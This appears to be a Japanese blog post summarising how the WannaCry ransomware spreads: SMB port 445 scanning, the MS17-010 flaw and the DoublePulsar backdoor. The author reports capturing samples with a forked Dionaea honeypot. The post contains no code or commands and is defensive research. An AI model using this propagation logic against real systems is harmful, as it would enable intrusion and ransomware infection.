WannaCryの感染活動ですが、TrendMicroのブログによると、以下のようになっています。
1.1 ローカルネットワーク内の端末を列挙しスキャンする
1.2 グローバル、ローカル含め、無作為なIPアドレスに対してもスキャンする
スキャン対象の端末に SMB の 445番ポートで接続し、「MS17-010」の脆弱性の存在を確認
2.1 脆弱性が存在した場合
2.1.1 DoublePulsar の存在を確認
2.1.1.1 DoublePulsar が存在した場合はDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる
2.1.1.2 DoublePulsar が存在しなかった場合は「MS17-010」の脆弱性を利用して DoublePulsar を感染させる
※この際、脆弱性によって DoublePulsar のコードがメモリ中で直接実行され、ファイルとして DoublePulsar が感染端末に存在することはない
2.1.1.2.1 感染させたDoublePulsar のバックドア機能を使用して WannaCry自身を送り込み、感染させる
2.2 脆弱性が存在しない場合
2.2.1 DoublePulsar の存在を確認
2.2.1.1 DoublePulsar が存在した場合は DoublePulsar のバックドア機能を使用して WannaCry自身を送り込み感染させる
つまり攻撃対象にDoublePulserが存在しているかどうかにかかわらず、感染の際には必ずDoublePulserを経由してのインストールが行われます。
このWannaCryをハニーポットで収集できないかと思っていたのですが、DoublePulserが動く環境でなければWannaCryまでは入ってこないようです。なので、低対話型のハニーポットでは難しいのかと諦めていました。が、
New SMB code release: open source honeypot Dionaea is capturing #WannaCry in the wild! https://t.co/QfJ1K3tM7l #ETERNALBLUE @ProjectHoneynet
— keansiong (@gento_) 2017年5月24日
すごい人がいるものですね。
早速使ってみました(利用は自己責任でお願いします)。
GitHub - gento/dionaea: dionaea low interaction honeypot (forked from dionaea.carnivore.it)
インストールなどは通常のDionaeaと同じです。
結果ですが、動かして数時間でいくつかそれらしい検体が捕れていました。
ファイルサイズがすべて同じですが、ハッシュ値は異なります。検知回避目的のポリモーフィズムの手法だと思われます。
このうち一つをVirusTotalに投げてみました。
多分他も同じような検知になると思います。
このDionaeaのモジュールはDoublePulserの動きを模擬しているのだと思います。
445ポートに来た通信にはすべてDoublePulserが答えるようになっているのかとか、詳しいことは全然分かっていませんが……。
ともあれ、低対話型のハニーポットでもWannaCryを捕まえられるんですね。本当にこういったツールを作っている方々には頭が下がります。
しばらく動かして観察してみたいと思います。
